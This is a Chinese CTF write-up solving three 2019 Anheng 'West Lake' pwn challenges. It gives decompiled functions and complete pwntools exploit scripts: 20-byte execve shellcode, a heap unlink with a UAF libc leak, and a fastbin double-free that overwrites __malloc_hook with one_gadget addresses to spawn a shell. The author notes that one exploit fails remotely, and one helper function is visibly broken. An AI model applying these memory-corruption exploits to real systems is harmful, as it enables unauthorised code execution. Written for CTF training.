2019 安恒周周練西湖論劍特別版 pwn部分wp
pwn1
考點:構造 shellcode,patch 匯編指令
IDA 查看反匯編,程序的邏輯很簡單如,如果 直接 f5 的話 IDA 可能識別不出來函數,問題出在 0x080484CF 這個地方,call eax
指令識別不出來,所以這裏可以先 patch 成 nop,之後 f5 就正常了。
程序把輸入當成 shellcode 直接來執行,很顯然是直接往棧上寫 shellcode 了。checksec 檢查保護的時候也可以驗證這一點。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial
在這裏找到 21 bytes 的 shellcode,但是最多只能輸入 20 bytes。
http://shell-storm.org/shellcode/files/shellcode-575.php
所以這裏我們想辦法去掉一條指令即可,調試發現 ecx 本身就是 0,那麽去掉 xor ecx ecx
即可。
exp
#!/usr/bin/python from pwn import * DEBUG = 0 if DEBUG: r = process('./pwn_1') #elf = ELF('') else: r = remote('101.71.29.5',10000) #elf = ELF('') #shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80\x00" shellcode = "\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" # ecx = 0 print "len: " + str(len(shellcode)) r.sendline(shellcode) r.interactive()
pwn2
考點:unlink、uaf、堆溢出、開啟 full relro、覆寫 malloc_hook
程序的漏洞點比較多,所以這裏應該有多解。筆者這裏用堆溢出後偽造堆塊,構造一個 unlink 的方法來做。
首先檢查一下保護:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
create_node 函數:
int create_node() { int v0; // ebx int v2; // [rsp+Ch] [rbp-14h] printf("enter the index of the node you want to create:"); __isoc99_scanf("%d", &v2); v0 = v2; name[v0] = malloc(0x80uLL); // small chunk return puts("create complete"); }
edit_node 函數
int edit_node()
{
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
printf("enter the index of the node you want to edit:");
__isoc99_scanf("%d", &v2);
printf("please enter the length of the input:", &v2);
__isoc99_scanf("%d", &v1);
getchar();
printf("please enter the contents of the node:", &v1);
fread(name[v2], v1, 1uLL, stdin); // overflow
return puts("edit compete!");
}
delete_node 函數
int delete_node()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("enter the index of the node you want to create:");
__isoc99_scanf("%d", &v1);
free(name[v1]);
return puts("delete complete!");
}
show_node 函數
int show_node()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("enter the index of the node you want to create:");
__isoc99_scanf("%d", &v1);
return puts(name[v1]);
}
- 程序中還有一個後門函數
首先有一個比較容易利用的點,在 edit_node 函數中我們可以輸入 index 為一個負數,這裏我們就可以更改 name 前面某個地址的指針的值。
got 表在 name 前面,很容易想到直接篡改 got 表值,這裏 exit 函數在 -12 處。但是這裏 RELRO 為 disabled,是無法正常寫 got 表的。大佬說這個是
失去動態鏈接的過程 而且不光 got 不能寫 因為要對齊 所以至少1000個字節的範圍
所以這裏正常的思路是在 edit_node 中利用長度沒有限制的條件來偽造一個堆塊,觸發 unlink 漏洞,參考:https://www.jianshu.com/p/2776b6a79a11
unlink 觸發之後,再 edit 一次就可以在 name 的區域任意地址寫,這裏利用前面 uaf 漏洞 leak 出 libc 地址,之後往 malloc_hook 中寫入後門函數,再 malloc 一次就 getshell 了。
exp
#!/usr/bin/python
from pwn import *
DEBUG = 0
if DEBUG:
r = process('./pwn2')
main_arena_offset = 0x3C2760
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
malloc_hook_offset = elf.symbols['__malloc_hook']
else:
r = remote('101.71.29.5',10001)
#elf = ELF('')
malloc_hook_offset = 0x00
def create_node(idx):
r.sendlineafter("---------------------------",'1')
#r.sendlineafter("enter the index of the node you want to create:",str(idx))
#r.recvuntil(":")
r.sendline(str(idx))
def edit_node(idx,length,content):
r.sendlineafter("---------------------------",'2')
r.sendline(str(idx))
r.sendline(str(length))
r.sendline(str(length))
def delete_node(idx):
r.sendlineafter("---------------------------",'3')
r.sendline(str(idx))
def show_node(idx):
r.sendlineafter("---------------------------",'4')
r.sendline(str(idx))
create_node(0)
create_node(1)
delete_node(0)
show_node(0)
r.recvuntil(":")
main_arena_addr = u64(r.recv(6).ljust(8,'\x00'))-0x58
success("main_arena_addr: " + hex(main_arena_addr))
libc_addr = main_arena_addr - main_arena_offset
success("libc_addr: " + hex(libc_addr))
#---------------------------------------------------
create_node(0)
create_node(2)
create_node(3)
create_node(4)
payload = 'a' * 0x80 + p64(0) + p64(0x21)
#edit_node(2,len(payload),payload)
#edit_node(2,5,'aaaaa')
#gdb.attach(r)
#r.sendlineafter("---------------------------",'2\n')
#r.recvuntil("---------------------------")
#r.sendline("2")
r.recv()
# unlink
chunk_list = 0x6012b0
payload = p64(0) +p64(0x81)
payload += p64(chunk_list-24)
payload += p64(chunk_list-16)
payload += 'a' * 0x60
payload += p64(0x80) + p64(0x90)
r.sendline('2\n')
r.sendline('2\n')
r.sendline(str(len(payload)))
r.sendline(payload)
#gdb.attach(r)
delete_node(3)
r.recv()
malloc_hook = libc_addr + malloc_hook_offset
payload2 = p64(0x1111) + p64(malloc_hook)
r.sendline('2\n')
r.sendline('2\n')
r.sendline(str(len(payload2)))
r.sendline(payload2)
#gdb.attach(r)
r.recv()
payload3 = p64(0x00000000004009B6)
r.sendline('2\n')
r.sendline('0\n')
r.sendline(str(len(payload3)))
r.sendline(payload3)
create_node(4)
r.interactive()
pwn3
考點:double free、uaf、覆寫 malloc_hook
這道題和前面那道挺像的,但是這個可以直接用 fastbins attack 的 double free 來做,會稍微簡單點。關於 fastbins attack 的幾種利用方法可以[看這裏][https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247483708&idx=1&sn=3d99a896dd1fc366fdfaed3806d08a2a&chksm=fd711471ca069d67f59eee741245e444e07e209fe0ab46708a39ecdacd500f1c192a355d1f25&xtrack=1&scene=0&subscene=10000&clicktime=1553785691&ascene=7&devicetype=android-27&version=27000334&nettype=3gnet&abtest_cookie=BAABAAoACwASABMABQAjlx4AVpkeAMiZHgDVmR4A3JkeAAAA&lang=zh_CN&pass_ticket=SYONvOFMfHHU4cAl26RQ3nLCrJELqfUSx809QFoLolLe%2BQMEh16EkmM0KVgTuQSJ&wx_header=1]
安全保護措施:
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : ENABLED
RELRO : FULL
保護全開,got 表也寫不了。那只能寫 malloc_hook 或者 free_hook。
首先看程序的代碼:
create 函數
int create()
{
signed int size; // eax
size_t v1; // rbx
void *v2; // rbp
__int64 v3; // rax
if ( max_count > 15 )
return puts("Enough");
puts("Size:");
size = sub_B60();
if ( size > 128 )
exit(-1);
v1 = size;
v2 = malloc(size);
v3 = max_count++;
chunk_list[v3] = v2;
_printf_chk(1LL, "Content >");
read(0, v2, v1);
return puts("Done");
}
show 函數
int sub_C70()
{
int v0; // eax
__int64 v2; // rcx
puts("Index:");
v0 = sub_B60();
if ( v0 < 0 || v0 >= max_count )
return puts("Invalid Index");
v2 = chunk_list[v0];
return _printf_chk(1LL, "Buf[%d]:%s\n");
}
delete 函數
void sub_CD0()
{
int idx; // eax
void *v1; // rdi
puts("Index:");
idx = sub_B60();
if ( idx >= 0 && idx < max_count && (v1 = chunk_list[idx]) != 0LL )
free(v1);
else
puts("Invalid Index");
}
思路:和上題一樣的方法 leak 出 libc,拿到 one_gadget 地址之後,往 malloc_hook 中寫入來 getshell。
malloc 一個 0x80 的塊之後 free 掉,先 leak 出 main_arena + 0x58 的地址,就可以計算出 main_arena 的地址,進而得到 libc 的地址(main_arena 偏移固定)
create(128,"a")
create(128,"b")
delete(0)
show(0)
malloc 出三個 fastbin ,free 三個塊之後再事先填充好偽造為 fd 值,構造 double free。
create(0x60,'1') # idx=3
create(0x60,'2') # idx=4
create(0x60,'3') # idx=5
delete(3) # double free
delete(4)
delete(3)
利用 fastbins attack 的錯位技術,在 malloc_hook 上面構造一個堆塊,填充內容時就可以覆蓋 malloc_hook 的值。
one_gadget = libc_addr + one_gadget_offset
payload = 'a' * 0x3 + p64(one_gadget)
create(0x60,payload)
接著 malloc 一次就可以 getshell。但是這裏我在本地測試可以正常 shell,在遠程利用時可能是 one_gadget 的地址偏移的原因,無法正常 getshell。
exp
#!/usr/bin/python
from pwn import *
DEBUG = 1
if DEBUG:
r = process('./5b757f4345b70')
main_arena_offset = 0x3C2760
one_gadget_offset = 0xe9415
elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
r = remote('101.71.29.5',10002)
# r = remote('127.0.0.1',4000)
elf = ELF("./5b757f4347a22.so")
#elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
main_arena_offset = 0x3C4B20
one_gadget_offset = 0xf02a4
success("system offset: "+hex(elf.symbols['system']))
success("free_hook_offset: "+hex(elf.symbols['__free_hook']))
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
0xf1147 execve("/bin/sh", rsp+0x70, environ)
0x4526a execve("/bin/sh", rsp+0x30, environ)
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
'''
def create(size,content):
r.sendlineafter("Choice>",'1')
r.sendlineafter("Size:",str(size))
r.sendlineafter("Content >",str(content))
def show(idx):
r.sendlineafter("Choice>",'2')
r.sendlineafter("Index:",str(idx))
def delete(idx):
r.sendlineafter("Choice>",'3')
r.sendlineafter("Index:",str(idx))
create(128,"a")
create(128,"b")
delete(0)
show(0)
r.recvuntil(">Buf[0]:")
main_arena_addr = u64(r.recv(6).ljust(8,'\x00'))-0x58
success("main_arena: "+hex(main_arena_addr))
libc_addr = main_arena_addr-main_arena_offset
success("libc_addr: "+hex(libc_addr))
success("free_hook: "+hex(libc_addr+elf.symbols['__free_hook']))
create(128,"c")
create(0x60,'1') # idx=3
create(0x60,'2') # idx=4
create(0x60,'3') # idx=5
delete(3) # double free
delete(4)
delete(3)
#gdb.attach(r)
malloc_hook_addr = main_arena_addr-0x33
create(0x60,p64(malloc_hook_addr)) # fd
create(0x60,'4')
create(0x60,'5')
# LOCAL ONE_GADGET
'''
0x46428 execve("/bin/sh", rsp+0x30, environ)
0x4647c execve("/bin/sh", rsp+0x30, environ)
0xe9415 execve("/bin/sh", rsp+0x50, environ)
0xea36d execve("/bin/sh", rsp+0x70, environ)
'''
# REMOTE ONE_GADGET
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
0xf1147 execve("/bin/sh", rsp+0x70, environ)
0x4526a execve("/bin/sh", rsp+0x30, environ)
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
'''
one_gadget = libc_addr + one_gadget_offset
payload = 'a' * 0x3 + p64(one_gadget)
#payload = 'a' * 0x3 + p64(libc_addr + elf.symbols['__stack_chk_fail'])
create(0x60,payload)
gdb.attach(r)
#r.sendlineafter("Choice>",'1')
#r.sendlineafter("Size:","96")
r.interactive("#> ")
2019 安恒周周練西湖論劍特別版 pwn部分wp